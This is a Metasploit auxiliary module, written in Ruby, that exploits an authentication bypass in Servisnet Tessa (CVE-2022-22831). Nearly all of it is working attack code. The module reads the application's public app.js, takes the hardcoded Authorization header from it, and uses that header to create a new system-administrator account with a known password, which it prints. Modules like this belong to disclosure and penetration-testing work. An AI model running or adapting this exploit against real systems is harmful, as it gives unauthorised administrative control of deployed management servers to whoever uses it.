## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Servisnet Tessa - Add sysAdmin User (Unauthenticated) (Metasploit)', 'Description' => %q( This module exploits an authentication bypass in Servisnet Tessa, triggered by add new sysadmin user. The app.js is publicly available which acts as the backend of the application. By exposing a default value for the "Authorization" HTTP header, it is possible to make unauthenticated requests to some areas of the application. Even MQTT(Message Queuing Telemetry Transport) protocol connection information can be obtained with this method. A new admin user can be added to the database with this header obtained in the source code. ), 'References' => [ [ 'CVE', 'CVE-2022-22831' ], [ 'URL', 'https://www.pentest.com.tr/exploits/Servisnet-Tessa-Add-sysAdmin-User-Unauthenticated.html' ], [ 'URL', 'http://www.servisnet.com.tr/en/page/products' ] ], 'Author' => [ 'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus ], 'License' => MSF_LICENSE, 'DisclosureDate' => "Dec 22 2021", 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true } )) register_options([ OptString.new('TARGETURI', [true, 'Base path for application', '/']) ]) end # split strings to salt def split(data, string_to_split) word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/) string = word.split('"]').join('').split('["').join('') return string end # for Origin and Referer headers def app_path res = send_request_cgi({ # default.a.get( check 'uri' => normalize_uri(target_uri.path, 'js', 'app.js'), 'method' => 'GET' }) if res && res.code == 200 && res.body =~ /baseURL/ data = res.body #word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/) base_url = data.scan(/baseURL: '\/([\S\s]*?)'/)[0] print_status("baseURL: #{base_url}") return base_url else fail_with(Failure::NotVulnerable, 'baseURL not found!') end end def add_user token = auth_bypass newuser = Rex::Text.rand_text_alpha_lower(8) id = Rex::Text.rand_text_numeric(4) # encrypted password hxZ8I33nmy9PZNhYhms/Dg== / 1111111111 json_data = '{"alarm_request": 1, "city_id": null, "city_name": null, "decryptPassword": null, "email": "' + newuser + '@localhost.local", "id": ' + id + ', "invisible": 0, "isactive": 1, "isblocked": 0, "levelstatus": 1, "local_authorization": 1, "mail_request": 1, "name": "' + newuser + '", "password": "hxZ8I33nmy9PZNhYhms/Dg==", "phone": null, "position": null, "region_name": "test4", "regional_id": 0, "role_id": 1, "role_name": "Sistem Admin", "rolelevel": 3, "status": null, "surname": "' + newuser + '", "totalRecords": null, "try_pass_right": 0, "userip": null, "username": "' + newuser + '", "userType": "Lokal Kullanıcı"}' res = send_request_cgi( { 'method' => 'POST', 'ctype' => 'application/json', 'uri' => normalize_uri(target_uri.path, app_path, 'users'), 'headers' => { 'Authorization' => token }, 'data' => json_data }) if res && res.code == 200 && res.body =~ /localhost/ print_good("The sysAdmin authorized user has been successfully added.") print_status("Username: #{newuser}") print_status("Password: 1111111111") else fail_with(Failure::NotVulnerable, 'An error occurred while adding the user. Try again.') end end def auth_bypass res = send_request_cgi({ # default.a.defaults.headers.post["Authorization"] check 'uri' => normalize_uri(target_uri.path, 'js', 'app.js'), 'method' => 'GET' }) if res && res.code == 200 && res.body =~ /default.a.defaults.headers.post/ token = split(res.body, 'Authorization') print_status("Authorization: #{token}") return token else fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end end def check if auth_bypass =~ /Basic/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def run unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end add_user end end